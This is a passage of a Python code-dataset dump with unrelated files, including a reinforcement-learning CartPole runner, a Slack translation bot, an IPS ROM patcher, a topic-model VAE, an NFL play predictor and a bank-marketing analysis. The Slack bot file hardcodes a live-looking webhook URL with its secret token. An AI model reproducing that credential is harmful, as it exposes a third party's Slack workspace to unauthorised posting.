numpy as np\nimport tensorflow as tf\n\nfrom duelling_ddqn.agent import DuellingDDQNAgent\n# we define a experience tuple for easy convention of MDP notation\n# sometimes in literature people use the equivalent word observation for state\n# state == observation\nfrom duelling_ddqn.memory import ReplayMemory\nfrom duelling_ddqn.nn import NN\n\nExperience = namedtuple(\"Experience\", \"state action reward next_state done\")\n\n\n# helper method for reshaping the cartpole observation\ndef reshape(state):\n return np.reshape(state, [1, 4])\n\n\nif __name__ == '__main__':\n tf.compat.v1.disable_eager_execution()\n max_score = 0\n\n n_episodes = 5000\n max_env_steps = 250\n\n env = gym.make('CartPole-v0')\n agent = DuellingDDQNAgent(env=env,\n net=NN(env=env),\n target_net=NN(env=env),\n memory=ReplayMemory(size=50000))\n\n if max_env_steps is not None:\n env._max_episode_steps = max_env_steps\n\n for e in range(n_episodes):\n # reset the env\n state = reshape(env.reset())\n done = False\n score = 0\n # play until env done\n while not done:\n action = agent.act(state)\n next_state, reward, done, _ = env.step(action)\n # env.render()\n next_state = reshape(next_state)\n agent.memory.append(Experience(state, action, reward, next_state, done))\n state = next_state\n score += 1\n for i in range(2):\n # replay experience and decay exploration factor\n agent.replay(batch_size=64)\n agent.decay_epsilon()\n if score >= max_score:\n max_score = score\n print(f\"Score in episode: {e} is: {score} --- eps: {agent.epsilon}\")\n","sub_path":"duelling_ddqn/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":1836,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"58704637","text":"from rest_framework.views import APIView\nfrom rest_framework.response import Response\nfrom rest_framework import status\nfrom django.conf import settings\nimport slack\nfrom googletrans import Translator\nimport requests\n\nSLACK_VERIFICATION_TOKEN = getattr(\n settings, 'SLACK_VERIFICATION_TOKEN', None\n)\n\nSLACK_BOT_USER_TOKEN = getattr(\n settings, 'SLACK_BOT_USER_TOKEN', None\n)\n\nClient = slack.WebClient(token=SLACK_BOT_USER_TOKEN)\n\ntranslator = Translator()\n\nurl = \"https://hooks.slack.com/services/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\"\nclass Events(APIView):\n\n def post(self, request, *args, **kwargs):\n # get message from slack\n slack_message = request.data\n\n # validate\n if slack_message.get('token') != SLACK_VERIFICATION_TOKEN:\n return Response(status=status.HTTP_403_FORBIDDEN)\n\n # verification\n if slack_message.get('type') == \"url_verification\":\n return Response(data=slack_message,\n status=status.HTTP_200_OK)\n\n # greet bot\n if 'event' in slack_message:\n event_message = slack_message.get('event')\n\n # ignore bot's own message\n if event_message.get('subtype') == 'bot_message':\n return Response(status=status.HTTP_200_OK)\n\n # send message to general channel\n text = event_message.get('text')\n data = {\"text\": translator.translate(text, dest='ja').text}\n requests.post(url, json=data)\n return Response(status=status.HTTP_200_OK)\n","sub_path":"mysite/translation_api/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1556,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"427049408","text":"import os\nfrom click import echo\nimport shutil\n\n\ndef read(ips_file):\n if not os.access(ips_file, os.F_OK):\n echo(\"IPS file %s does not exist\" % ips_file)\n raise StopIteration\n\n if not (os.access(ips_file, os.R_OK) and os.access(ips_file, os.W_OK)):\n echo(\"%s is not readable and writable. Please set the appropriate permissions.\" % ips_file)\n raise StopIteration\n\n if ips_file.split(\".\")[-1] != \"ips\":\n echo(\"%s is not an IPS file (proper extension is .ips)\" % ips_file)\n raise StopIteration\n\n with open(ips_file, \"rb+\") as ips:\n header = ips.read(5)\n if header != b\"PATCH\":\n echo(\"IPS file header invalid: %s\" % header)\n raise StopIteration\n\n \"\"\"\n The file contains several patches, each patch is laid out thus:\n\n - 3-digit base-256 location in the ROM where the patch should go\n - 2-digit base-256 length of the patch\n - The patch\n\n Without any whitespace or other separators\n\n If the length of the patch is found to be 0, this has a special meaning: to copy a certain byte some number\n of times. This is useful for setting certain locations to null, for example. This has a different format:\n\n - 3-digit base-256 location in the ROM to copy the data (as above)\n - Two null bytes (which evaluate to 00)\n - 2-digit base-256 number of times the byte should be copied\n - The byte to be copied\n \"\"\"\n\n data = ips.read(3)\n while data != \"\" and data != b\"EOF\":\n offset = 0\n for _, c in enumerate(data):\n offset = offset * 256 + int(c)\n\n data = ips.read(2)\n length = 0\n for _, c in enumerate(data):\n length = length * 256 + int(c)\n\n if length == 0:\n data = ips.read(2)\n length = 0\n for _, c in enumerate(data):\n length = length * 256 + int(c)\n\n byte = ips.read(1)\n data = byte * length\n else:\n data = ips.read(length)\n\n yield offset, data\n data = ips.read(3)\n\n\ndef patch(rom_file, ips_file, backup):\n if not os.access(rom_file, os.F_OK):\n return \"ROM file %s not found\" % rom_file\n\n if not (os.access(rom_file, os.R_OK) and os.access(os.W_OK)):\n return \"ROM file is not readable and/or writeable. Please set the appropriate permissions.\" % rom_file\n\n if backup:\n if not os.access(rom_file + \".bak\", os.F_OK):\n shutil.copyfile(rom_file, \"%s.bak\" % rom_file)\n\n with open(rom_file, \"rb+\") as rom:\n try:\n for offset, data in read(ips_file):\n rom.seek(offset)\n rom.write(data)\n echo(\"%s bytes overwritten at offset %s\" % (len(data), hex(offset)))\n except StopIteration:\n exit(1)\n\n return \"Done.\"\n\n\ndef show_patches(ips_file):\n with open(ips_file, \"rb+\") as ips:\n echo(\"Patches for %s\" % ips_file)\n\n num_patches = 0\n for offset, data in read(ips_file):\n num_patches += 1\n echo(\"Offset %s\" % hex(offset))\n length = len(data)\n i = 0\n while i < length:\n for _ in range(8):\n print(hex(data[i]).replace(\"0x\", \"\").rjust(2, '0'), end=\" \")\n i = i + 1\n if i >= length: break\n\n echo()\n echo()\n echo(\"Total patches: %s\" % num_patches)\n","sub_path":"ips.py","file_name":"ips.py","file_ext":"py","file_size_in_byte":3561,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"328225563","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Jan 15 10:06:34 2019\r\n\r\n@author: nebelgrau\r\n\"\"\"\r\n\r\n# Kornislav\r\n\r\nnumbers = [int(_) for _ in input().split()]\r\n\r\nfrom itertools import permutations\r\n\r\nchoices = []\r\n\r\nfor p in permutations(numbers, 4): # get all the possible orders of turtle's steps\r\n choices.append(p)\r\n\r\nsolutions = []\r\n \r\nfor c in choices:\r\n if c[0] >= c[2] and c[1] <= c[3]: # find those where the rectangle will be closed\r\n area = min(c[0],c[2]) * min(c[1],c[3]) # calculate the rectangle area\r\n solutions.append(area)\r\n \r\nprint(max(solutions)) # return the biggest possible area","sub_path":"Kornislav.py","file_name":"Kornislav.py","file_ext":"py","file_size_in_byte":626,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"582327489","text":"## implement VAE for topic model\nimport numpy as np\nimport torch\nimport torch.utils.data\nfrom torch import nn, optim\nfrom torch.nn import functional as F\nfrom torch import log, mean, exp, lgamma\nimport pdb\n\nclass NBVAE(nn.Module):\n\n\t\tdef __init__(self, arch):\n\t\t\t\tsuper(NBVAE, self).__init__()\n\n\t\t\t\tn_feature = arch[\"n_feature\"]\n\t\t\t\tn_topic = arch[\"n_topic\"]\n\t\t\t\tself.arch = arch\t\t\t\t\n\t\t\t\tself.bn = torch.nn.BatchNorm1d(n_feature)\n\t\t\t\tself.fc1 = nn.Linear(n_feature, arch[\"fc1\"])\n\t\t\t\tself.fc2 = nn.Linear(arch[\"fc1\"], arch[\"fc2\"])\n\t\t\t\tself.fc31 = nn.Linear(arch[\"fc2\"], n_topic)\n\t\t\t\tself.fc32 = nn.Linear(arch[\"fc2\"], n_topic)\n\t\t\t\tself.topic = torch.nn.Parameter(2*torch.randn(n_feature, n_topic) - 1)\n\t\t\t\tself.a = torch.nn.Parameter(torch.tensor([0.1])) \n\n\t\t\t\t## initialize weight\n\t\t\t\ttorch.nn.init.xavier_uniform_(self.fc1.weight)\n\t\t\t\ttorch.nn.init.xavier_uniform_(self.fc2.weight)\n\t\t\t\ttorch.nn.init.xavier_uniform_(self.fc31.weight)\n\t\t\t\ttorch.nn.init.xavier_uniform_(self.fc32.weight)\n\t\t\t\t\n\t\t## x -> mu, logvar\n\t\tdef encode(self, x):\n\t\t\t\th1 = F.softplus(self.fc1(x))\n\t\t\t\th2 = F.softplus(self.fc2(h1))\n\t\t\t\treturn self.fc31(h2), self.fc32(h2)\n\n\t\t## mu, logvar -> z; IK, IK -> IKL\n\t\tdef reparameterize(self, mu, logvar, L = 0):\n\t\t\t\tif L < 1:\n\t\t\t\t\tL = self.arch[\"L\"]\n\t\t\t\tstd = torch.exp(0.5*logvar)\n\t\t\t\teps = torch.randn_like(std.unsqueeze(2).expand(-1,-1,L)).to(self.arch[\"device\"])\n\t\t\t\treturn mu.unsqueeze(2) + eps*std.unsqueeze(2)\n\n\t\t## z -> probs IJL \n\t\tdef decode(self, z):\n\t\t\t\ttopic = F.softmax(self.topic, dim = 0)\n\t\t\t\tprobs = torch.einsum('jk,ikl->ijl', topic,z)\n\t\t\t\treturn probs\n\n\t\t## x -> mu, logvar -> z -> probs\n\t\tdef forward(self, x):\n\t\t\t\t#pdb.set_trace()\n\t\t\t\tn_feature = self.arch[\"n_feature\"]\n\t\t\t\tif self.arch[\"log\"]:\n\t\t\t\t\txhat = self.bn(log(x+1))\n\t\t\t\telse:\n\t\t\t\t\txhat = self.bn(x)\n\t\t\t\tmu, logvar = self.encode(xhat.view(-1, n_feature))\n\t\t\t\tz_ = self.reparameterize(mu, logvar)\n\t\t\t\tz = F.softmax(z_, dim = 1)\n\t\t\t\tprobs = self.decode(z)\n\t\t\t\treturn probs, mu, logvar\n\n\t\t# Reconstruction + KL divergence losses summed over all elements and batch\n\t\tdef loss_function(self, x,probs, post_mean, post_var_log):\n\t\t\t\tdevice = self.arch[\"device\"]\n\t\t\t\t#neg_log_probs = - (x.unsqueeze(2) * log(probs)).sum()/self.arch[\"L\"]\n\t\t\t\tLam = probs * x.sum(1).view(-1,1,1)\n\n\t\t\t\t#pdb.set_trace()\n\t\t\t\ta = F.softplus(self.a)\n\t\t\t\tneg_log_probs = - (lgamma(x + a).unsqueeze(2) - lgamma(a) + x.unsqueeze(2) * log(Lam/(Lam + a))+ a * log(a/(a+ Lam))).sum()/self.arch[\"L\"]\n\n\t\t\t\t## KL between two Dirs (in practice, between two logistic normal)\n\t\t\t\talpha = self.arch[\"alpha\"]\n\t\t\t\tn_topic = self.arch[\"n_topic\"]\n\t\t\t\t\n\t\t\t\tprior_mean = (log(alpha) - mean(log(alpha))).to(device)\n\t\t\t\tprior_var_log = (log((1-2/n_topic)/alpha + mean(1/alpha)/(n_topic**2))).to(device)\n\t\t\t\t\n\t\t\t\tvar_div_log = post_var_log - prior_var_log\n\t\t\t\tmean_diff_ = post_mean - prior_mean\n\t\t\t\tmean_diff = mean_diff_*mean_diff_/exp(prior_var_log)\n\t\t\t\t\n\t\t\t\tkld = 0.5 * (exp(var_div_log) + mean_diff - var_div_log).sum(dim = 1)\n\t\t\t\t\n\t\t\t\tloss = neg_log_probs + kld\n\n\t\t\t\treturn loss.mean(), neg_log_probs.mean(), kld.mean()\n\n\n\t\tdef transform(self, x, L):\n\t\t\t\t#pdb.set_trace()\n\t\t\t\tn_feature = self.arch[\"n_feature\"]\n\t\t\t\tif self.arch[\"log\"]:\n\t\t\t\t\txhat = self.bn(log(x+1))\n\t\t\t\telse:\n\t\t\t\t\txhat = self.bn(x)\n\n\t\t\t\t#pdb.set_trace()\n\t\t\t\tmu, logvar = self.encode(xhat.view(-1, n_feature))\n\t\t\t\tz_ = self.reparameterize(mu, logvar, L)\n\t\t\t\t## get z, size (I,K) (L in NMF)\n\t\t\t\tz = F.softmax(z_, dim = 1).mean(dim = 2) \n\t\t\t\t## get topic, size (J, K) (F in NMF)\n\t\t\t\ttopic = F.softmax(self.topic, dim = 0)\n\t\t\t\t## get a\n\t\t\t\ta = F.softplus(self.a).item()\n\n\t\t\t\treturn z, topic, a\n\n\n\n\n\n\n\n\n\t\t\t\n\n","sub_path":"code/NBVAE.py","file_name":"NBVAE.py","file_ext":"py","file_size_in_byte":3616,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"607219520","text":"# -*- coding: utf-8 -*-\n\"\"\"Exercise 3.\n\nSplit the dataset based on the given ratio.\n\"\"\"\n\n\nimport numpy as np\n\n\ndef split_data(x, y, ratio, seed=1):\n \"\"\" SPLIT_DATA splits vectors into subvectors according to ratio\n Splits the x and y vectors into two vectors each\n According to the ratio of datapoints given by ratio\n \n INPUTS\n x (N x d): the x data to split\n y (N x 1): the y data to split\n ratio: a fraction (0<=ratio<=1) representing where to split the data\n seed (optional): the seed to use for the random number generator\n \n OUTPUTS\n x1 ((ratio * N) x d): the first half of the x data\n x2 (((1-ratio) * N) x d): the second half of the x data\n y1 ((ratio * N) x d): the first half of the y \n y2 (((1-ratio) * N) x d): the second half of the y data\n \n \"\"\"\n # set seed\n np.random.seed(seed)\n shuffled_indices = np.argsort(np.random.rand(len(x))) # array of random indices to shuffle data\n x = x[shuffled_indices] # reorder the array\n y = y[shuffled_indices] # reorder the array\n \n # finds where to cutoff. int() will round down, if dataset large enough not important if round up/down\n cutoff = int(len(x) * ratio)\n \n # split the arrays according to the ratio\n x1 = x[0:cutoff]\n y1 = y[0:cutoff]\n x2 = x[cutoff+1:]\n y2 = y[cutoff+1:]\n \n return x1, y1, x2, y2","sub_path":"labs/ex04/template/split_data.py","file_name":"split_data.py","file_ext":"py","file_size_in_byte":1415,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"9903514","text":"import tensorflow as tf\nimport numpy as np\nimport gym\n\n\nclass ENVIRONMENT(object):\n\n def __init__(self, run_dir):\n\n self.name = 'Humanoid-v1'\n\n self.gym = gym.make(self.name)\n\n self._connect()\n\n self._train_params()\n\n self.run_dir = run_dir\n\n def _step(self, a):\n a = np.squeeze(a)\n self.t += 1\n self.state, self.reward, self.done, self.info, self.qpos, self.qvel = self.gym.step(a)\n\n return self.state.astype(np.float32), self.reward.astype(np.float32), self.done, self.qpos.astype(np.float32), self.qvel.astype(np.float32)\n\n def step(self, a, mode):\n if mode == 'tensorflow':\n state, reward, done, qpos, qvel = tf.py_func(self._step, inp=[a], Tout=[tf.float32, tf.float32, tf.bool, tf.float32, tf.float32], name='env_step_func')\n state = tf.reshape(state, shape=(self.state_size,))\n done.set_shape(())\n else:\n state, reward, done, qpos, qvel = self._step(a)\n info = 0.\n return state, reward, done, info, qpos, qvel\n\n def reset(self, qpos=None, qvel=None):\n self.t = 0\n self.state = self.gym.reset(qpos, qvel)\n return self.state\n\n def get_status(self):\n return self.done\n\n def get_state(self):\n return self.state\n\n def render(self):\n self.gym.render()\n\n def _connect(self):\n self.state_size = self.gym.observation_space.shape[0]\n self.action_size = self.gym.action_space.shape[0]\n self.action_space = np.asarray([None]*self.action_size)\n self.qpos_size = self.gym.env.model.data.qpos.shape[0]\n self.qvel_size = self.gym.env.model.data.qvel.shape[0]\n\n def _train_params(self):\n self.trained_model = None\n self.train_mode = True\n self.train_flags = [0, 1, 1] # [autoencoder, transition, discriminator/policy]\n self.expert_data = 'expert_data/er-2017-02-06-15-06-490k-fake.bin'\n self.pre_load_buffer = False\n self.n_train_iters = 2000000\n self.n_episodes_test = 5\n self.test_interval = 10000\n self.n_steps_test = 1000\n self.good_reward = 8000\n self.vis_flag = False\n self.save_models = False\n self.save_agent_er = False\n self.save_agent_at_itr = 50000\n self.config_dir = None\n self.continuous_actions = True\n self.weight_decay = 1e-6\n self.al_loss = 'CE'\n self.dad_gan = False\n\n # Main parameters to play with:\n self.er_agent_size = 200000\n self.model_identification_time = 1000\n self.prep_time = 1000\n self.collect_experience_interval = 15\n self.n_steps_train = 10\n self.discr_policy_itrvl = 100\n self.K_T = 0\n self.K_D = 1\n self.K_P = 1\n self.gamma = 0.99\n self.batch_size = 70\n self.policy_al_w = 1e-3\n # self.policy_tr_w = 5e-3\n self.policy_accum_steps = 5\n self.total_trans_err_allowed = 1.\n self.max_trans_iters = 2\n self.temp = 1.\n self.cost_sensitive_weight = 1.1\n\n self.t_size = [500, 300, 200]\n self.d_size = [1000, 500, 150]\n self.p_size = [600, 300]\n\n self.t_lr = 1e-2\n self.d_lr = 0.001\n self.p_lr = 0.0001\n\n self.w_std = 0.15\n\n self.noise_intensity = 6.\n self.do_keep_prob = 0.75\n\n self.smooth_over_steps = 50\n self.fm_lr = 1e-3\n self.fm_rho = 0.1\n self.fm_beta = 0.01\n self.fm_encoding_size = 400\n self.fm_batch_size = 300\n self.fm_multi_layered_encoder = True\n self.fm_opt = tf.train.AdamOptimizer\n self.fm_separate_encoders = True\n self.fm_num_steps = 5\n self.fm_merger = tf.mul\n self.fm_activation = tf.sigmoid\n self.fm_lstm = False\n self.fm_train_set_size = 17000\n self.fm_num_iterations = 20000\n self.fm_expert_er_path = 'expert_data/er-2017-01-03-14-45.bin'\n self.use_forward_model = True\n","sub_path":"Applications/mgail/environments/humanoid/environment.py","file_name":"environment.py","file_ext":"py","file_size_in_byte":3996,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"9586804","text":"import csv\nfrom sklearn import tree, svm\nfrom sklearn.neural_network import MLPClassifier\nimport random\n\ngameSituations_train = []\nplayCalls_train = []\n\n\n# initialize different models\ntreeModel = tree.DecisionTreeClassifier()\nlinearSVC = svm.LinearSVC()\nneuralNetwork = MLPClassifier()\n\n\n# get data for all downs\nprint('Importing 2012 NFL season play by play data...\\n')\nwith open(\"2012_nfl_pbp_data_rp.csv\") as f:\n reader = csv.reader(f)\n header = next(reader) # Jump the header\n for row in reader: \n # row = gameid, qtr, min, sec, off, def, down, togo, ydline, description, offscore, defscore, season,,,\n \n down = int(row[6])\n distance = int(row[7])\n spot = int(row[8])\n play = str(row[9])\n time = 60.0 - ( (int(row[2])) - (1.0 - int(row[3])/60))\n pointDiff = int(row[10]) - int(row[11])\n \n gameSituations_train.append([down, distance, spot, time, pointDiff])\n playCalls_train.append(play)\n \nf.close()\n \n# train models\nprint(\"Training Decision Tree...\")\ntreeModel = treeModel.fit(gameSituations_train, playCalls_train)\nprint(\"Training Linear SVC...\")\nlinearSVC = linearSVC.fit(gameSituations_train, playCalls_train)\nprint(\"Training MLP Neural Network...\")\nneuralNetwork = neuralNetwork.fit(gameSituations_train, playCalls_train)\n\n\n# Ask User for Input and give prediction\n# Note: No checks for user input (e.g. spot of ball inbounds) implemented yet!\nwhile (True):\n print(\"\\nGive details over game situation: down(1-4), distance(1-99), spot of ball(1-99) (yards to go), game time (min), point differential\")\n print(\"End program with x\")\n inString = input().split(\",\")\n if(inString[0] == \"x\"):\n break\n situation = [int(x.strip()) for x in inString]\n\n \n print(\"\\nThe predictions for given game situation \", situation, \" are:\\n\")\n print(\"Decision Tree: \", treeModel.predict([situation]))\n print(\"Linear SVC: \", treeModel.predict([situation]))\n print(\"MLP Neural Network: \", treeModel.predict([situation]))\n print(\"-----------------------------------------------\")\n\nprint(\"\\nGoodbye!\")","sub_path":"NFL Predict/PredictPlays5.py","file_name":"PredictPlays5.py","file_ext":"py","file_size_in_byte":2129,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"223359066","text":"# We use the dataset on the following website to build siamese network\n# http://www.vision.caltech.edu/html-files/archive.html\n# -> Faces 1999 (Front) link\n\nimport tensorflow as tf\nimport os\nimport random\n\ndef _int64_feature(value):\n \"\"\"\n Wrapper for inserting an int64 Feature into a SequenceExample proto.\"\"\"\n return tf.train.Feature(int64_list=tf.train.Int64List(value=[value]))\n\ndef _bytes_feature(value):\n \"\"\"\n Wrapper for inserting a bytes Feature into a SequenceExample proto.\"\"\"\n return tf.train.Feature(bytes_list=tf.train.BytesList(value=[value]))\n\n\ndef _str_feature(value):\n \"\"\"\n Wrapper for inserting a bytes Feature into a SequenceExample proto.\"\"\"\n return _bytes_feature(tf.compat.as_bytes(value))\n\n\ndef _int64_feature_list(values):\n \"\"\"\n Wrapper for inserting an int64 FeatureList into a SequenceExample proto.\"\"\"\n return tf.train.FeatureList(feature=[_int64_feature(v) for v in values])\n\n\ndef _bytes_feature_list(values):\n \"\"\"\n Wrapper for inserting a bytes FeatureList into a SequenceExample proto.\"\"\"\n return tf.train.FeatureList(feature=[_bytes_feature(v) for v in values])\n\n\ndef _to_simple_example(image_path):\n \"\"\"\n build the image-class set for\n Args:\n story: An StoryMetadata object.\n decoder: An ImageDecoder object.\n vocab: A Vocabulary object.\n Returns:\n A SequenceExample proto.\n \"\"\"\n # encoded_images in the story\n # deal with different format\n label = image_path.split('/')[-2]\n print(label)\n\n # encode image\n with tf.gfile.FastGFile(image_path, \"rb\") as f:\n encoded_image = f.read()\n\n features = tf.train.Features(feature={\n \"label\": _str_feature(label),\n \"image_path\": _bytes_feature(encoded_image)\n })\n\n\n example = tf.train.Example(features=features)\n\n return example\n\n\ndef build_dataset(data_file_pattern, output_file_path, num_tfrecord=8):\n # 1. build all the image_paths in one list\n # 2. save them as tfrecord\n image_paths = tf.gfile.Glob(data_file_pattern)\n random.shuffle(image_paths)\n if not image_paths:\n print(\"No images found in given path.\")\n return\n\n if not tf.gfile.Exists(output_file_path):\n print(\"No existing output file path, built it.\")\n tf.gfile.MakeDirs(output_file_path)\n\n def split(a, n):\n k, m = divmod(len(a), n)\n return (a[i * k + min(i, m):(i + 1) * k + min(i + 1, m)] for i in range(n))\n\n file_shards = list(split(image_paths, num_tfrecord))\n print(file_shards)\n\n for _ in range(num_tfrecord):\n # create writer tfrecord\n writer = tf.python_io.TFRecordWriter(os.path.join(output_file_path, 'tfrecord_' + str(_)))\n\n for image in file_shards[_]:\n example = _to_simple_example(image_path=image)\n if example is not None:\n writer.write(example.SerializeToString())\n\n print(\"Wrote {0} images in Record No.{1}\".format(len(file_shards[_]), _))\n writer.close()\n\n\nif __name__ == \"__main__\":\n build_dataset(data_file_pattern=\"chentao_classifier/data/images/subjects/*/*.png\", output_file_path=\"chentao_classifier/data/subjects_tfrecord\")","sub_path":"chentao_classifier/data/build_dataset.py","file_name":"build_dataset.py","file_ext":"py","file_size_in_byte":3170,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"285673819","text":"import subprocess, os\n\ndef execute_dummy(command):\n \n ssh_env = os.environ.copy()\n \n ssh_env['X509_USER_CERT'] = 'cert'\n ssh_env['X509_USER_KEY'] = 'key'\n \n proc = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE,\n shell=True, env=ssh_env)\n \n try:\n stdout, stderr = proc.communicate(timeout=10)\n except subprocess.TimeoutError:\n proc.kill()\n stdout, stderr = proc.communicate()\n \n returncode = proc.returncode\n \n return (stdout, stderr, returncode) \n\n# Some smoke tests. I did more than are included here, some of which:\n # (a) involve changing the return value of the function to include proc,\n # (b) involve changing the timeout to be so miniscule that the timeout exception is invoked.\n\nprint(os.environ)\n\nstdout, stderr, returncode = execute_dummy('/bin/sh echo \"test\"')\n\nprint(stdout)\nprint(stderr)\nprint(returncode)\n\n# Should be the same as before\nprint(os.environ)\n","sub_path":"tests/execute_dummy.py","file_name":"execute_dummy.py","file_ext":"py","file_size_in_byte":985,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"29790065","text":"from django.conf.urls import patterns, url\n\nfrom .views import *\n\n\nurlpatterns = patterns('',\n url(r'^devolucion/add/(?P\\d+)/$','devolucion.views.devolucion_add',name='devolucion_add'),\n url(r'^devolucion/lis/$', DevolucionListView.as_view(),name='devolucion_lis'),\n url(r'^devolucion/upd/(?P\\d+)/$','devolucion.views.devolucion_add',name='devolucion_upd'),\n url(r'^devolucion/del/(?P\\d+)/$', DevolucionDeleteView.as_view(), name='devolucion_del'),\n url(r'^devolucion/det/(?P\\d+)/$', DevolucionDetailView.as_view(), name='devolucion_det'),\n url(r'^devolucion/reporte_pdf/(?P\\d+)/$', \"devolucion.views.devoluciondetalle_pdf\", name='devolucion_pdf'),\n \n)","sub_path":"devolucion/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":714,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"24093971","text":"\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport warnings\nfrom IPython.core.display import display\nfrom scipy.stats import kstest, chi2_contingency\nfrom statsmodels.regression.linear_model import OLS\nimport datetime as dt\n\ndef settings():\n warnings.filterwarnings('ignore')\n\ndef load_initial_data():\n data = pd.read_csv('../../data/processed/processed_data.csv')\n return data\n\ndef illustrate_target(data):\n sns.countplot(data.SUBSCRIPTION)\n plt.xlabel('Valeurs de la variable HAS_SUBSCRIBED')\n plt.ylabel(\"Effectif\")\n plt.title(\"Répartition de la variable HAS_SUBSCRIBED\")\n plt.show()\n\ndef make_has_subscribed_binary(data):\n data['SUBSCRIPTION'] = data['SUBSCRIPTION'].eq('Yes').astype(int)\n\ndef correlation_target_balance(data, upper_clip=None, lower_clip=None):\n data_copy = data.copy()\n data_copy['BALANCE'] = data_copy['BALANCE'].clip(upper=upper_clip, lower=lower_clip)\n pearson = data_copy[['BALANCE', 'SUBSCRIPTION']].corr('pearson')['SUBSCRIPTION'][0]\n spearman = data_copy[['BALANCE', 'SUBSCRIPTION']].corr('spearman')['SUBSCRIPTION'][0]\n table = pd.DataFrame([pearson, spearman], columns=[''], index=['Corrélation de Pearson', 'Rho de Spearman'])\n table.columns.name = 'Mesures de corrélation entre la cible et ACCOUNT_BALANCE'\n display(table)\n\ndef clip_balance(data, upper_clip=None, lower_clip=None):\n data['BALANCE'] = data['BALANCE'].clip(upper=upper_clip, lower=lower_clip)\n\ndef plot_balance_knowing_target(data):\n sns.catplot(y='BALANCE', x='SUBSCRIPTION', kind='violin', data=data)\n plt.xlabel('Values of HAS_SUBSCRIBED')\n plt.ylabel('Clipped values of ACCOUNT_BALANCE')\n plt.title('Violin plot of clipped ACCOUNT_BALANCE')\n plt.show()\n\ndef test_independence_between_balance_and_target(data):\n test = kstest(data.loc[data['SUBSCRIPTION'] == 0, 'BALANCE'], data.loc[data['SUBSCRIPTION'] == 1, 'BALANCE'])\n print(f\"La p-valeur du test de Kolmogorov-Smirnov est de {test.pvalue} : ACCOUNT_BALANCE n'a donc \"\n f\"pas la même distribution selon que la cible vaut 0 ou 1.\")\n\ndef target_by_job_type(data):\n table = data[['JOB_TYPE', 'SUBSCRIPTION']].groupby('JOB_TYPE').agg(['sum', 'count', 'mean'])['SUBSCRIPTION']\n table.columns = ['Number of subscriptions', 'Number of clients', 'Proportion of subscription']\n table.sort_values(by='Proportion of subscription', inplace=True)\n display(table)\n\ndef test_independence_between_target_and_job_type(data):\n crosstab = pd.crosstab(data['SUBSCRIPTION'], data['JOB_TYPE'])\n test = chi2_contingency(crosstab)\n print(f\"La p-valeur du test du chi2 d'indépendance est de {test[1]} : JOB_TYPE n'est donc\"\n f\" pas indépendant de la cible.\")\n\ndef remove_missing_values_for_job_type(data):\n def impute_by_age(age):\n if age < 25:\n return 'Etudiant'\n elif age > 60:\n return 'Retraité'\n else:\n return data['JOB_TYPE'].mode()[0]\n data.loc[data.JOB_TYPE.isnull(), 'JOB_TYPE'] = data.loc[data.JOB_TYPE.isnull(), 'AGE'].map(impute_by_age)\n\ndef illustrate_status(data):\n sns.countplot(data.STATUS)\n plt.xlabel('Values of MARITAL_STATUS')\n plt.ylabel('Effectif')\n plt.title('Distribution de MARITAL_STATUS')\n plt.show()\n\ndef target_by_marital_status(data):\n table = data[['STATUS', 'SUBSCRIPTION']].groupby('STATUS').agg(['sum', 'count', 'mean'])['SUBSCRIPTION']\n table.columns = ['Number of subscriptions', 'Number of clients', 'Proportion of subscription']\n table.sort_values(by='Proportion of subscription', inplace=True)\n display(table)\n\ndef test_independence_between_target_and_marital_status(data):\n crosstab = pd.crosstab(data['SUBSCRIPTION'], data['STATUS'])\n test = chi2_contingency(crosstab)\n print(f\"La p-valeur du test du chi2 d'indépendance est de {test[1]} : MARITAL_STATUS n'est donc\"\n f\" pas indépendant de la cible.\")\n\ndef marital_status_by_job_type(data):\n data_copy = data.copy()\n data_copy['MARITAL_STATUS'] = data_copy['STATUS']\n table = pd.crosstab(data_copy['JOB_TYPE'], data_copy['MARITAL_STATUS'])\n table['Subscription rate'] = data[['JOB_TYPE', 'SUBSCRIPTION']].groupby('JOB_TYPE').agg('mean')\n display(table)\n\ndef show_predictions_subscription_rate(data):\n data_copy = data.copy()\n data_copy['MARITAL_STATUS'] = data_copy['STATUS']\n table = pd.crosstab(data_copy['JOB_TYPE'], data_copy['MARITAL_STATUS'])\n table['Proportion Single'] = table['Single'] / (table['Single'] + table['Married'] + table['Divorced'])\n table['Proportion Married'] = table['Married'] / (table['Single'] + table['Married'] + table['Divorced'])\n table['Subscription rate'] = data_copy[['JOB_TYPE', 'SUBSCRIPTION']].groupby('JOB_TYPE').agg('mean')\n table = table.drop(columns=['Single', 'Married', 'Divorced'])\n y = table['Subscription rate']\n X = table.drop(columns='Subscription rate')\n ols = OLS(y, X).fit()\n table['Predictions'] = ols.fittedvalues\n display(table)\n\ndef show_results_linear_regression_subscription_rate(data):\n data_copy = data.copy()\n data_copy['MARITAL_STATUS'] = data_copy['STATUS']\n table = pd.crosstab(data_copy['JOB_TYPE'], data_copy['MARITAL_STATUS'])\n table['Proportion Single'] = table['Single'] / (table['Single'] + table['Married'] + table['Divorced'])\n table['Proportion Married'] = table['Married'] / (table['Single'] + table['Married'] + table['Divorced'])\n table['Subscription 